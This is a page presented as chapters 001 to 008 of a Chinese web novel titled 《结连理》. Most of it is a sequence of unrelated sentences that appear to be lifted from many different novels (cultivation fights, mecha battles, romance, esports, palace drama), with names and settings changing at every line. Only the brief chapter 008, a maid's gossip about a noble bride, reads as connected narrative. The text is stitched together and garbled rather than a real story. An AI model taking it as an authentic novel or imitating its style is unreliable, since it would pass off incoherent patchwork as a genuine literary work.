《结连理》 001云莺 “万海反击。”海柱魔龟感到后面的元气弹离自己越来越近,施展了一招,后面两根魔柱凝聚成了一个拍子,将诸葛亮的元气弹直接拍了回去。 “我们?”上官洛华摇了摇头有些不愿多说。正在这时,街道路口突然传来阵阵脚步声,几人回头望去,便见到几十名机甲战士带着大批军队朝这边赶了过来。 说完,收起溃风双刃,取出冰蓝之弓,对空爆射,那九支一米多长的箭矢,泛着淡蓝之光,牢牢的插在南宫羽辰周围,像是将他暂时护住一样。 此战之后,很多人一颗心终于放进了肚子里,新罗国的军队也没有想象中的可怕,这也是甄乾为什么要打坚持这一仗的原因。 “那太好了。”叶鸿儒笑着点头,他想要的就是两家能距离近一些,这样他也能经常串门。 因此,卢卡并没有对已经失去支撑力的那条伤腿穷追不舍,而是向另外的长腿发动了攻击。 “灵灵!”对面马路上,一道妖娆的身影冲了过来,她将上官月灵抱在怀里,满脸担心的唤道。 有说有笑才是生活,板着一张欠揍的脸,这日子就没法过了。说到底自己是一个喜欢享受的人,没了手机、网络和电视,连想知道一点信息都需要口口相传,这样的生活节奏对于甄乾来说简直就是一种折磨。 这家伙,毕竟是融灵境八重,又是佣兵团的团长,平日里在刀口上舔血,战斗经验极其丰富。 或者应该说,它们就是活着的混沌火焰本身,是寄宿在混沌火焰里的原始生命。 他急忙上前拦住了众人,并且在对方把他拿下之前,掏出了自己的警官证。 陈青川立马回头看向我,他一见到我趴在地下,冲上来一把将我抱了起来。 “我且问你,你的这层龙蛋屏障是怎么形成的?”尘老恢复了波澜不惊的样子,出言问道。 看着非衣珂离去的背影,还顺势地带上门,牧宸缓缓松了一个口气。 “哼!”白衣青年并不急迫,他不退反进,抽出腰间的纸扇朝萧横的头部刺去。一寸一寸强,一寸短一寸险!有了折扇的加持,只要他能准确的穿过萧横的拳头就能先一步击中对手。 “谁告诉你长生先祖已经仙逝?”秦明面色古怪,盯着他,说出来一句话。 随着几声巨大的响声,宋炎翼的脸上还有笑意,可他的人,却已经是死的不能再死了。 他依然在原本的椅子上坐下来,这么一耽搁,天已经亮了,一轮红彤彤的太阳从东边升了起来。 映入眼帘的首先是一张苹果脸,很圆,带着笑意,看上去憨厚且老是,但给人一种狐狸般狡猾的感觉,不可忽视。 只不过,吕若容的心情没完全放开,面对镜头时候的样子和前些日子完全不同的状态。 在去医院的路上,吕青岚说起了陈子寒这两次赌球的心入情况,然后和李芙贞一样,问他为什么不再继续猜赌。 后面,一干人等鱼贯而下,身着服装类似于特警,而他们做的第一件事也很相似。拉着黄线带,驱散掉街上几个路人,将周围的街道给封锁起来。 九天顿时哭笑不得道:“谷梁大哥,人吓人吓死人你知不知道?”他真是醉了,没想到谷梁松竟然也这么不正经,竟然假装骷髅来吓唬他们。响起下午打电话时,谷梁松说的惊喜,恐怕就是这件事了。 “没时间解释了,我们暂且先离开这里。”时间很紧张,就算以现在的魔力量,晓美焰短时间内也只能暂停3分22秒的时间。 秦川的身上,紫金色血气蒸腾,化成实质性的火焰,缭绕在他的身上,让他的气息一瞬间暴涨,宛若一尊战神下界,睥睨四方。 吴凡控制自己手掌上的毛细血孔,在贴紧船壁后开始缩紧,一股吸力就此产生。 上至三层,程家的席位在朝北那一向,而知敏不想同她的庶姐离得太近,便朝容瑾这儿过来了。 在阴界,巫灵和阴王一个地位,她就算是阴后,都不能在巫灵面前撒野,更何况现在的她,什么都不是。 大师兄真的变心了吗?他真的移情别恋了吗?每个夜晚,她静静地躺在床上,任寂寞包围,在思绪纷飞中睡去。 吧唧一下,查理被果核砸了一脸,可是却没听到某大爷的话,只以为是下头的那些学生们干的,也就只是伸手把那果核给撸下来扔到一边,继续指责邱梁。 她见过兰绫石之死,她见过陆浩之死,之前中毒生命垂危,这些她都见识过了。开棺验尸,有什么可怕的? 002 陈家母子 由于已经不用再担心灯光会被敌人发现的缘故,罗宾下令打开头盔上的探照灯。 塔塔卢帕斯和柯雷恩同时发动了进攻,在塔塔卢帕斯看来,只要两人一起联手,杀掉林维的几率还是很大的。 走廊的两端尽头都是严实的墙壁,其中一侧是敞开的窗户,另外一侧也是墙壁。 这十几根利箭,并不是全部攻击楚河,而是封锁了楚河左右上三方,显出潜渊卫的配合是相当默契,直接攻击楚河的,只有五根利箭。 吸血鬼们为了避免像当初恶魔那样遭到种族清洗,各个都伪装地很好,因此想找到一只完好的高阶吸血鬼,那可是相当困难的。 不过,许多老一辈的人,对这个是非常反感的,在他们看来,这就是不务正业,而且,在他们眼中,赌石完全就是一种赌徒行为,为人所不齿。 看到什么分波破浪,什么随波逐流,什么荡波式,什么千重浪,楚河就一副我知道这很屌但我又学不会的苦逼样子。 江源华从病历上可以清楚的看到朱辉病情的发展过程,着看看着,他的眉头也紧紧的皱了起来。 霎时间,玻璃碎末满天乱窜,整个玻璃窗直接凹了进去,那满是碎裂纹路的凹点中心差点就碰到站在视窗后的洛克脑袋了。 跟着七分头一起来的几个青年混混见状也一溜烟跟着走了,夜市摊顿时就剩下了几个吃饭的。 宋城在原地露出一个意味深长的笑容,户外探险之旅团队专家一开口讲了起来,声音那样子的平静,看上去完全不介意这样子的破事儿。 即使是自然形成,蕴涵能量也十分强大,天体阶层修行者很难存活。 林奕说的没错,薛千的心里确实是有些偏向于卫家,毕竟跟云家相比,卫家有着太多的优势,然而,林奕这家伙一次次的跟他说,自己并不认为卫家能继续延续自己在医学界的地位。 陆远桥的心情更好了,飘飘然的走到了唐妈妈布置好了的餐桌旁,瞧见果然有自己的那一份,笑眯眯的吃了起来,连以前不大喝的饮料这一次也抿了几口。 只是在这时,叶晓媚接到自己没有血缘关系的弟弟叶晓君的电话。 或许是心存侥幸的缘故吧!宋老爷子始终是一副不相信的模样,他的眼里带着一丝丝的光芒,就好像是在说,你们要是再敢这样子欺负我们的话,你们就会完蛋的。 三千万年的时间,对于宇宙星空而言也算是比较悠久的岁月。可对于智慧生灵整体而言,转瞬即至,实在太短暂了。 “好!”连绒点点头,心里有一丝丝的欢喜,或许姨妈说的对,男人都是下贱的,得不到才会珍惜。 暗铭淡笑望着,只以为方成是为‘规则论’所震惊,却不知方成的真实想法,乃是如同狂澜海啸般,汹涌起伏。 “先去酒店把行礼拖过来,还得买一些日用品!”将张雪凝的事情放下,唐枫一边盘算自己接下来的计划,一边朝着酒店方向走去。 其实,离近了一看就懂了,因为安检人员戴着口罩在给乘客试体温,用的是那种好像枪的体温枪。 狼人首领更是确信了自己的判断,看来地精们非常慌乱渐今天这场仗是打不起来了。就地精们这害怕程度,自己只要吓唬上几句金他们肯定老老实实的开门。 勘破虚妄,识得真理,无论人、事、物、乃至于天地至理,均是如此。而清原看透的是人之本性,实际上,这已足以归列为真人境的认知。 她被这突如其来一句话弄怔住一会儿,然后对他笑了笑,什么也没说就进屋了。 遭遇前所未见的重创,掠食者顿时疯狂的嘶吼起来,拥有强大的再生恢复能力,舌头和利爪虽然能够迅速再生,但却止不住狂涌而出鲜血和脑浆,片刻之后,它终究还是轰然倒在了一片血泊之中。 “那个萧凡明明都已经死了,为何还有防御护罩?”波塞冬忍不住第一个开口,他死死的盯着萧凡原地,凝声说道。 现在认真算起来,唐赫得跟滚石的关系还应该密切过华星才对——他只在华星的母公司无线zhan有10%的股份,在滚石的份额可远超过了这个数。 李克听迷糊了轰好像这个大家伙知道一些事情,而且很重要轰貌似两个不一样的种族之间有些联系。 试镜虽然是结束了,而且结果也是非常的明显,真田广之他自己都觉得输了,那还有什么好说的? 一口气吐了半晌,连苦胆都吐出来了,吐的李克有气无力的,阿蜜利亚因为李克那一嗓子还不敢靠近,就那样呆呆的僵在了那里。 两拳相击,胡须道长的拳头和叶言随意的一拳撞击在了一起,突然相撞。 自己现在把他俩给收了,要是他们在宗门里面也有熊霸这种灵魂命牌,那岂不是要惹下天大的麻烦!? 不过是命运,还是主线故事这样设定、写好轨迹,那其真正用意,就是等着玩家来此取得神器。 “我们消灭新人的最佳时机,最终还是逝去了。”的话像是一句陈述句,没有任何情绪的陈述句。 原本享受着称王荣光夕泽耀世,短短几天之内就感受到了众叛亲离,大厦将倾的危急。 003 临门一脚 “对,我知道郁姐怀孕的事情,自然也知道郁姐的儿子,实不相瞒,郁姐出国的几年,寄抚养费的同时,还经常让我给她拍她儿子的照片呢,她一直是想孩子的。”余桔说道。 只需要上车前将炸弹压缩成二维形态,带上幽灵列车不知道有多简单。 陶庭相先到了公司,在电脑前盯着通稿的直接收入情况,收入曲线波折较大,从昨晚她直播结束,到今天早晨六点,热度一直在增高,而后缓慢下降,一直到现在,还在下降。 她想了想,纵身一跃跳下一楼,看着桌面两杯咖啡,从口袋里掏出一瓶药水,两杯咖啡各倒了一滴。 一听这话安念果然不敢再挣扎,赵怀景就这样明目张胆的带走了安念。 从那以后,她对安念的佩服之情溢于言表,她不知道安念做了什么,才能把这两个男人玩的团团转。 挺着大肚子的男人见状也没生气,露出了不怀好意的笑,站起身来,朝严茉茉走去。 眼看一家人都被指指点点,闫翠萍也受不了这种心理压力,最终向尤新荣提出了离婚。 哪怕是喂上一颗超品治疗型阴丹,也未必可以稳定这样一具千疮百孔的身体。 看着施嘉敏笑得温温柔柔,陶庭相却莫名一寒,出于某种直觉,她觉得,以后在办公室可能都安宁不了。 可怕的念头牢牢盘踞在脑海中,如果按赫拉迪姆的系统换算,它的力量值很可能接近五百点。 回到包房后,四人也不点歌,开始商量起接下来要重点打造的这张全新专辑里面的歌曲。 “魏四,你立下大功,将来发达了可别忘了我俩。”徐进教恭维道。 远处的黑影有些艰难地站起身,唐泽注意到,在刚刚那几下连番的轰击之后,娜尼雅身后的四根蝎尾出现了不同程度的损伤,其中一根布满裂纹,破损严重。 而西侧这边,除首位应该是还未到的李如柏外,依次是杜松、马林、刘铤,他们身后是各处的总兵。 声音散落到黑暗中,仿佛被吞噬了一样,娜尼雅脸色一变,戒备地抽出武器,看向四周。 付豪大怒,带着大炮等兄弟当先追过来,将游子诗与苏音拦截住。 西沙大王还是那样的苍老,他的眼神还是一如既往的犀利,他这时候神情凝重的看着我们,不用问,他都知道我们是来干什么的,这时候我冷笑着说道,西沙大王,你还好么? 自大楚的皇宫走出来,到了孤竹的皇宫,再来到燕国的皇宫,阿凤还是第一次过的如此舒心:燕国的公主们不是巴结奉承阿凤,她们是真心的想和阿凤成为朋友。 门再次被打开,冷玉一回头就被门外的光亮刺痛了双眼,不由的拿手掩住眼睛。 刀身划过两名尸怪的背部,那两名尸怪这便转过身来而后轰然倒地。 李笑笑既高兴又失落,高兴是因为悬在心里的石头终于可以放下了,至于为什么会失落,她也搞不清楚,可能是因为自己已经爱上了,把自己最珍贵的东西给他,他却全然不知吧。 王灵馨心里咯噔了一下,这个傻孩子,却没有开口阻止,她只想就这么过一辈子。 相反,这一次是周楚喝醉了,毕竟是有心事么,喝闷酒本来也就很容易醉。 十三阿哥摸了摸自己的脸颊,不由的再想难道自己真的没碧如长的讨喜? 白洛汐听到要被杀了,想着不能坐以待毙,扭动着身子,发出响动,引起了那些人的注意。 李凝大步提刀出去寻了个家户问明了那妖道那边的情况,只说那妖道能呼风唤雨也说那妖道住在城外三十里处的东坡岭。 “你丫的是不是傻B?有没有房子你过来看一眼不就知道了?在那瞎BB个啥?”那边的刘任显然是被周乾这一句话给激怒了,毫不犹豫的回了一句。 对雨归来说,这是一种无法言语的痛苦。就算她之前在乌扎娜家大院时已经见过比这种更血腥的场面,可此刻的她,还是忍不住全身发冷。 对面的那个玩家定然是没有智慧属性的,而目前风轻的智慧属性是11点,在他这个级别上风轻有信心整个争王高出这个数值的玩家绝对不会超过5个,因而他的法术施放成功率和命中率应该都要比正常几率高出许多。 路上偶遇皮卡,几人也没嫌弃,直接上去开车进圈,刚刚进圈又遇到一个山崩子,立马变成两队,保证团队生存能力,避免一下被一网打尽。 “保镖哥,需要我们做什么喔?”姚瑶显得有些迫不及待,她还从来没有自己刷过房子。 总教有些不甘,他并不是特别想和楚溪闹开。可看目前的情形,他只能使用最后一招了。 加上最初的一场,李玉军已经升级到lv3了。第六感以及神经反射增加两点,其余各属性增加6点。 阿苏拉,阿修罗一道开创者,生平斩杀龙类无数,实力之强悍无人能及。 004 柳暗花明 王嬷嬷嫌地上凉,便是给他铺了一层的棉被,让他在那里爬着玩耍,而一旁的几个大人便是望着他,笑着聊天。 曹毅是个见风使舵的人,察觉到重离生气了,马上严斥厉喝起来。 “丞相这是怎么了?你不是说你的朋友帮朕看看病吗?怎么人没带来,反而叫来了所有的臣子!”星暗冷漠的声音在安静的大殿响起。 怡琳哀怨地瞥了他一眼,背过身去,将衣裳穿好。随之,走到榻边,在被褥里摸索起来。 萱月的情况差不多,她虽然能够自由的行动和说话,但是却也要运足全身的功力抵抗这种强大到要压爆整个躯体的能量。 然后,“咔哧”一声儿,林晓如从外面把房间门给带上,转身朝隔壁的房间走去了。 不过听梅吟雪这话里话外的意思,难道说她现在已经可以炼丹了吗? 一桌子也没外人,酒过三旬菜过五味,靖王放下了酒杯。今天靖王喝的不少,但他可是带着任务而来,有些话不得不说。 一个晚上的休息,不足以补充战士们的巨大体力消耗。今天看来还得继续让战士们继续休息一天。 在暂时还不清楚敌人的动向的情况下,十二军军部通过紧急会议,发布了一份新的调整命令。 “真的吗?”朴善英捂着嘴巴,内心涌过一道激动的水流,平静的水面上忽然荡漾了开来,微风拂过,吹皱了那一池春水。 “原来是黄兄,久仰!久仰!”其实沐晓锋心下早就知道了黄艺新的名字和身份,不过他对于方燕的所作所为很是感动,为了不落下她的面子,也学着黄艺新刚才的语气回应道。 这个时候,严逸也是放完水了,转过身来,看着罗永成四人,一脸的戏谑。 帝京出手了,不再废话,金色的拳头横空,显露出了无敌的威势。 换句话说,西秦现在不能占领贝尔福,不是因为克洛德还守着最后几处险峰,而是西秦人没有多余的粮草可以往这里运输。 入睡前神对这个世界道:“你们如此运转,你们自己找到自己适合的位置,你们将如此进化10万年。”因为神休息一个晚上的最长时间就是十万年,于是神让大地星辰自行运转,神见这是好得。 “这种倒胃口的话就不要说了~~”郑秀妍脑海里翻腾起了那个画面,眉头蹙起。 收回了放在徐世绩脸上的目光,健壮大汉眼中充满了复杂,低头沉思了一会,他虎目一瞪,“你们走吧,这里不欢迎你们。”说罢转身便离开了。 不用说太多,从刚才手链掉落时,赵玄就已经知道了手链就是九凰的;而他手中所抱着的人正是让他苦苦寻找十年的人。 事情发展到了这个地步,光头也有点手足无措,转眼望去,之前的酒桌下,还躺着二哥高虎的尸体呢,虽然说高虎为人暴戾,但是对他光头还算是不错,得人恩果千年记,光头现在的路,究竟应该怎么走? “国庆、建军,再到附近看看,是不是能发现点什么线索。”于心远对他的两个助手说道。 毕竟他基本上就没有用。过了一会上车,除非是有时的辅助讯飞行,所以雷火双翅那本身就聚集了非常多的能量,这股能量是从雷火双翅在变异。 被老周这么一骂,周围人都散开了,而老周把老脸一横,直接当众把自己脱个精光,然后把那一卷连屎带尿的裤子一甩,倒是大步流星的站岗去了。 她坚持着强行做完了饭菜端到景墨轩和白云珊面前后,她便迅速转身离开了。 也算是来得巧,东子正打算给王鹏打电话,告诉他,自己要回京过春节了,年后再回来。现在,既然王鹏来了,他干脆就在得意楼订了一桌,叫了腾云飞他们四个,还有刘胖子,兄弟几个一起提前过个年。 有传魅杀杀人于无形,它可以根据弹琴着的情绪来判断是否杀人,可以根据弹琴着的意向出击杀死敌人。而这并不是说魅杀是有灵性的,时间万物虽说都有灵性,可是这对于只是死物的琴来说,还是一个天方夜谭。 此刻的柳铭修也只是无奈的摇了摇头,轻轻敲了一下苏灿的脑袋。 李珣闷哼一声,难受到了极致,然而这感觉却一闪即逝,等他想反击的时候,妖凤已经再度垂下脸去,重归先前的沉闷。 凌晨四点一刻,月已西沉,大地即将重陷无边黑暗之中,在断裂深沟丛布的地带不再适合赶路了。 “认识倒有一个,只不过这人眼光忒高,说非名石不刻。 价格也不低呀。 ”罗元自己也拿不准。 原振侠一来到了对方的车前,就先看了一眼对方的车牌号码,记在心中,也就在这时,他看到了那中年人打开了车子前面的车门,示意院长坐在司机的旁边。 与蓝子由“兄弟”到夫妻,也许爱得懵懂,可那几个月是如此刻骨铭心,现在又从夫妻到了兄弟,不是说放得开就能放得开,心里从来没有如此『乱』过。 005 有解释了 此次考试,除去往年的语数科以及查克拉修炼之外,还多了一门体术。而体术的考核,分为表演和实战。 比如陆嘉颜,之前叶洛多次要将她带出峡谷,可她想都没想就拒绝了,这让叶洛也有些无奈。 地面上,陆风神色冷漠,他看着梵音几人,双眼中,闪过了一道决绝之色。 鲍崖脸色阴沉的点了点头,他看着张磊说道:“张磊,你明天通知集团基建科,让他们派人过来把外墙收拾一下。”说完,他和张磊一同向门外走去。 万淼听到师姐的提醒,他抬手轻轻敲了一下自己头上的头盔,猛然想起了家传的内功。他立即在大卫身边蹲下,右手一把攥住了大卫捂在肚子上的手腕。 “我自有分寸,勿须你再三番五次的提醒,把信给我。”欧阳龙如如雷鸣的咆哮,若不是欧阳龙的实力太过恐怖,他都要出手打他一顿再说。 宁阳低头看着不属于自己的双手,他能够清晰地感受到周围的世界,所有的一切都和活着的时候能够感受到的一样。 玛奇闻言脸色微变,这一刻,她正式做出了战斗的准备,于双手间拉出念线。 为了防止有人看不清,萧羽拍了张照,来了个特写,然后投屏到食堂上方的大屏幕上。 八人听到后,神情都没有变化,对他们来说,这一点根本无所谓,而且,他们早已经知道。 又走了一会。一阵流水声潺潺传出。走过一片假墙。眼前便是处九曲回廊。木桥之下碧水轻扬。上面荷花飘香。 愤怒,耻辱,天都煞此刻心中的愤怒几乎要爆炸了,要不是顾及此行的任务,他此时恨不得就大开杀戒,把在场所有人全部灭杀。 听到望千的呵斥,石可郎脸色难看无比,如果不是心里觉得眼前这个年轻人有些神秘的话,他早就冲上去教训对方一顿了。不过现在他这边就剩下他和两个手下,如果贸然出手的话怕是要吃亏。 “怕什么!我还怕别人看不出来呢!我要让所有人都知道,暗楼和寒月山庄联盟了!因为暗楼新楼主跟寒月少主是一对儿!你觉得怎么样?”莫华笙兴致勃勃地说,显然早有打算。 楚思的决定,做得迅速而突然,她高高的投上悬崖半壁后,便毫不停留的直向悬崖之上爬去。早在石虎等人出现后,她便决定了以这样的方式脱身。 俗话说,伴君如伴虎,几代以来,叶家都是朝中重臣,为了防止有一天的突然大祸,叶家先人还特意修建了这条暗道。 “江老爷子,这个能救娘亲吗?”秦可儿拿出刚刚北王送她的东西,递到了江老爷子面前。 楚遥狐疑地看着他,暗忖景飒明明说他从没去过赌场,为什么这人却一副胸有成竹的样子? 他醒来的时候,就什么都不记的了,所以自然也不会记的银票的事情,但是现在想起来,就更觉的奇怪了。 司马衍的目光一一扫过众人,渐渐的,他露出一个满意的笑容来。在他的眼神示意中,一直窃窃私语的众人开始安静下来。 也不知怎么了,绝望的念头刚刚产生,大脑就开始要罢工了,开始连绝望的想法都要失去了。 朝着冯喜明招手,周泽楷相信,冯喜明一定能够认识到这人参的价值。 神界能自我修护,但是战火没完没了地蔓延下去,就算是在强大自我修护能力,也无法改变现状。 后方聚灵镜巅峰的战友们虽然已经发现韦索南改变方向,但想要追上来拦下他已经来不及了。 见她这样,叶青反倒是没有脾气了,哼了哼,抱怨了几声,便没什么了。 周家人终究是抵抗不住诱惑, 三个伯父都没吭声, 倒是三个伯母偷偷的问周泽楷要了生子丸, 就想着说不定能行呢? 听到这话,我顿时露出喜色,闻子路肯说在篮球场见面,那我们跟他说帮忙的事情,他很可能会帮我们,虽然是看在安洁的面子上,但好歹已经成功了一半。 如此一来,我们就陷入了劣势之中,面临上单和打野被压制的情况,我们整个队伍都受到了影响。 “吼吼。”黑柴听闻吴敌的话,神色略有些不甘的狂吠两声,随后就扭过脑袋没有在显露出敌意。 “跪求凌队拿卡牌!”斗鱼上,弹幕一个接一个,纷纷要求凌风祭出自己的成名英雄,卡牌大师。 尹语沫坐在沙发上,她的手机这时响起,她看着上面的号码,是尹语馨打来的。 片刻之后,孟皈再次起身,把主控室几个舱门全都关上了,虽然不知道还有没有别的通道会让怪物漏过来,至少在这几个舱门关上之后,可以让孟皈在心理上感觉安全了一些。 下课铃响,莫清溪踩着点走进了教室,笑眯眯的冲叶飞打了个招呼带着唐倩嬉笑着离开,不知道为什么,总感觉这两人比亲姊妹还亲,让他这做大哥的不免有些吃味。 006 小插曲 木子云刚站在那桌旁,便自觉生出了双脚,三魂七魄仿佛回归本体,一下子自在清爽了许多。再瞧那桌子,旁边不知何时出现了个阴沉婆子,手中握着薄皮本子。 八点的钟声一敲响,原本人声鼎沸的体育馆瞬间就安静了下来,所有人都屏住了呼吸,看向了前方的舞台。 刘鼎天从善如流,离开这里,开始往上游上去,一边与叶璇讨论起来。 刘鼎天进入黑色光罩后,就看见了无数密密麻麻的鱼妖兽已经将他团团围住,正红着眼睛看着他,眼看着一场暴动就要发生了。 常武明显有些着急了,急步跑了过来,一把抓住了刘鼎天的衣服,满眼哀求的看着他,就是不松手。 董剑闭上了眼睛,仿佛很享受这种抬头的表情,虽然那一缕阳光并照射不到他脸上。 “这个下官自然省得。”陆缜点头。这位是他最后的底牌,当然不可能时时拿出来用,不然胡濙让其他人来做这大兴县令就是了,何必用他呢? 不过,让张勇感到有些庆幸的是,虽然这里十分的炎热, 但是每隔一段时间都会有一阵风吹过,即便吹来的风也是炽热的,但是因为身上出了不少的汗,所以略微的感觉到了有些凉爽。 这次寄过来的这封信,寄信人和地址一栏是“本市内详”。这和他们之前的判断是一致的,霹雳火就在邗江市内。 所以赵云做出这样的决定,一点都不奇怪,不过相比于稍显急躁的张飞,赵云的显得沉稳了许多。 无数的拳影不断的互相冲击之中,四周空间变得扭曲不已,李逸晨同时感觉体内气息更加动荡起来。 而元皓不单单有这些强悍的霹雳士,更有加入元皓麾下的江南武林豪杰,还有诸多从天下会叛逃出去,对雄霸感到不满的人。这些人都不是与易之辈,再加上元皓这个似乎可以和雄霸打平手的大高手。 简单的会议结束后,众人各自散去,私下里相互讨论着这个制度情况。 辰南他们同样硬着头皮跟在张亮的身后,要从这绝地之中杀出生机。 “我想知道,我为什么会成为路鸣泽?而不是别人。”安意一字一顿认真问道。 翅紧张的跟在乞颜后面,虽然努力的装出一副镇定的样子,但是闪躲的眼神,还是出卖了他内心真实的想法。 “何必呢,罗格。”安意口中被称为罗格的中年黑人男子听到这句话时皱了皱眉。 虽然不知道从他口中说出的那个朋友到底是谁,对舅舅找寻当年的真相有用与否,但谁都会忍不住的期待。 由于太过激动,她几乎说不出话来,听见苏玉的询问,只是用力地点头。 周贤钟又喝了一杯酒,今天这顿酒就像是割肠的刀子,划得他五脏六腑都生疼。 不过,因为魏秀儿突然出事,再加上前两天表现的虚弱状态,他老人家虽然没跟着去救援,但在家里却在给魏秀儿熬制安神宁心丸。 蜜桃有些懵,想不通为什么眼前的男人态度突然转变,一时间竟不知道如何接话。 风沐晨老老实实的回答,心里有点想骂人,怎么感觉好像是走着走着……忽然看到一条蛇那点事? “你以后出手时应该不会失控。”这话牢牢锁在他的脑海,他深知这意味着什么。 不过,海平面上却没有任何动静,仿佛,海里的它们在等待着什么,又像是潜伏着。 虽知道徐老的厉害,可怎么高的楼,又爬在外面,摔下来,能活吗? 林安平也知道她哥哥有些害羞了,这样追问,他的确是不会开口的。 董仙以前也是在沪城混着,曾几何时,也是颇有“名气”的阿飞。后来惹到了一个真正的黑涩会,不得不偷渡离开了大陆。 大比武,确实是精英之间的较量,一些些松懈,都会成为别人超过去的时机。周游刚才已经犯了一次错了,接下来绝对不允许再出现类似的情况。 听着从战场中,依稀传来的话语声,郝宇渐渐弄清了一些这里头的缘由,可他却更加的不解了,心底的悲伤,也更多了,尽管他知道自己这看到的,是很久远前发生的事情。 其实,身为一名网络写手,最让边远航感到头疼的,就是给人取名字的问题。 但是这个事情也不能一停了事,否则这最吃亏的还是百姓,因为琉球还流通着不少宋钱,张三不得不加强了银行的管控,进行了为期一个月的换购活动。 这一战,直打到第二天午时。关隘外大片草木被烧毁,沿途随地可见被烧死射死的尸体,山谷峡道内,覆地黑血足有两寸高,投降的那些南吴军将,一个个都如同刚从修罗地狱爬出来,浑身是血,其中还凝固着同伴的骨肉。 安宁点了点头,郭潇潇发的微博,他可是从头到尾认认真真看过的,自然是记得郭潇潇收养了一只流浪猫。 就算这样被几人的云光一激,她的身上也隐隐现出一团银光,虽然不能外放,但却能保护自身不受几人的影响。 在刚刚和盖亚之泪融合时,她甚至觉得自己似乎已经进入了一个全新的境界,圣阶之上的境界。 007 初来乍到 在异界危机爆发之后,很多像你我一样的普通人,我们被自己的国家无情的抛弃。真正能保护我们的,就只有我们自己。而对于那些像你我这样有能力的人,我认为他们更应该站出来庇护一方。 “林炎大哥,你终于来了,我可想死你了。”临渊看到林炎不理会自己,肉麻兮兮的说道,由于三人之间的关系是极好的,彼此又是相当的熟悉,所以对这种玩笑,并没有任何反感,风语笑着看着临渊。 就在这时,第一代魔帝转身即逝,只有他的声音,还在传承大殿上缭绕,久久回荡在欧阳龙耳边。 一切都这么悄无声息,附近负责警戒的几个打手,虽然因为周秉然在这边的缘故,频频将目光投过来,却也没觉得这一幕有什么不对。 温暖的资料室中,暗黄色的灯光熏得人昏昏欲睡,为了让自己清醒专注的看资料,洛雨喝了一口酸甜的果茶便转头看向他棱角分明的侧脸,脑海中立刻浮现出某些春意满满的画面,并暗暗地咽了一口口水。 说是帮忙,我也就能擦擦桌子、洗洗水果、烧壶热水,其余百分之九十的工作都是老秦做的。 早有跑堂的伙计迎上来,一面指挥人将马车的马卸下来牵去马厩喂饲水草,一面亲自将两位贵客迎到雅间。 宗主童耀和少主秦飞扬两人坐在宗门大厅里面,看着手下人递上来的简报,神色莫名。 在至尊星神死后,星辰神域便是崩裂开来,道法破碎,道统分化,衍生了无数势力,经过这万载岁月,诸多势力灭亡、新生,情况更加复杂。 他也想一试,但凭借着西门公子准帝境的修为,才勉强重伤逃脱,如果换成他,稍有不慎就要横死其中,这实在是有些送死的架势。 因为在迂回的过程中会有很多困难,如果眼睛不盯着最终目的,事情在很多时候就会偏离方向。会好心办坏事。或者是事情办成了,自己也搭上去了,这种例子不胜枚举。 不过众mm想要知道海峰的战斗力到底是如何的,就将宠物全部给海峰了,反正自己能拿回来。 裴仁基则拉着裴翠云的手,低声询问着什么。不过看裴翠云那羞红的脸,就知道是一些羞人的事情。 年轻男子看着王昊一脸讨好道。这与他风度翩翩的气质有一些格格不入,让王昊嘴角一抽。 而阿龙为了很好的给大家演示一下,没有使用太多的气息,只需要将大树给轰断就好了。 电话那头的妮莎自然听到了这撩人的叫声,嘴里平静的跟李舍诉说着这段时间的见闻,跟经过三年猎杀黑暗生物后,隐隐有了突破高级狼人的迹象。 看着逐渐走入大厅,随意弹掉一团鼻屎,鼻孔跷到天上去的老头子,王昊突然露出了一丝笑意。 涿郡副留守、武贲郎将阴世师日夜兼程赶到了燕北,但形势的展完全出乎了他和段达的预料,让他措手不及,倍感棘手。 泰山派的匾额,已换成了‘正气盟’这三个苍劲有力的大字。大部分接到请帖的门派都早早的赶来。 但凡,今日换了任何一个下院之人,只怕都难以抵挡这样的威压。轻则气血翻滚,口吐鲜血,重则直接被洪严道震慑神魂,承认罪行。 “用不着。”柳飘飘的面色变得很冷,正在生这个土鳖的气呢,他又来找病。 “韩江,你一定感到奇怪,我们是怎么冒出来的?”斯捷奇金主动开口了。 其实也不难理解,一开始林风初来乍到,一身爆炸性的力量根本没有得到很好的控制,所以十成的力量能发挥出六成都算是好事。 手握石珠,就相当于意念锁定,剩下的就是用意念取水……他也不需要将水收进井里,直接扔进去,就当农田灌溉了。 “我的运气太逆天了,这么大的石台,居然没有压住晶柱,否则就麻烦了!”他看着一溜儿八根晶柱,还有最需要的阵盘,庆幸一阵,开始往外搬运。 “新鲜的尸体?”唐风还在回味韩江的话,韩江的这句话让他胃里一阵翻腾。 卧室很大,大约有七八十平米;墙壁上到处挂着画像,是一个玩世不恭的帅哥,但显然不是亵渎者的照片。 在行走的途中,楚乔发现附近有一个专门放干草的棚子,和一个简易的厨灶凉棚,想来之前她们做饭都是在这简易的厨灶朋中做的。 这时的大厅已然和刚开始的时候,大有不同,大门的入口被身穿黑甲手持长枪的护卫给堵的严严实实的,大厅两侧还有手拿带刺圆盾的防卫兵,大厅的二层弓箭手也是拉弓备战,随时可以将人射成肉靶。 “六大长老的功力深厚,我不觉得三长老是会失手的人,他会不会知道什么隐情,所以在比武台的时候故意对我出手?”苏橘安想了想说道。 “那个……神有没有我是不知道啦,不过我可不需要你帮我做什么事情。 正当林枫考虑着怎么弄辆车的时候一辆炫红的法拉利跑车出现在林枫的视野中,而且看那辆车的来势,还是向自己这边开来。 更加可怕的是,这十台裁决者似乎还训练出了一套合击之法,他们从各个不同角度医疗船慢慢包抄过来,占据了每一个有利的进攻地形。 008 去见人 在金葵打探来的消息中,这位三姑娘虽然生得花容月貌,但那脾性可真是,娇蛮任性,等闲人不敢惹的。 “我听人说,只是听人说啊,说是上年中元节三姑娘去河边放花灯,不知何故竟然落了水。当时才下过大雨不久,河道湍急,三姑娘在的地方又偏僻,灯火昏暗的很。若不是荣国公府的二爷听到呼唤赶过去救了她,指不定三姑娘命都没了。” 因为救了三姑娘,两人有了肌肤之亲,加上门当户对,亲事自然很快定了下来。到了年末,两人成亲,距今满打满算也就半年时间。 “之前刘妈妈说,都是因为三姑娘身体孱弱,才不肯随姑爷去任地。可我昨天半夜睡不着,出来散步,走到墙根处恰好听到丫鬟们嚼舌根,好似三姑娘一直不同意这婚事,是侯夫人与侯爷硬压着她,她才嫁了过去。” 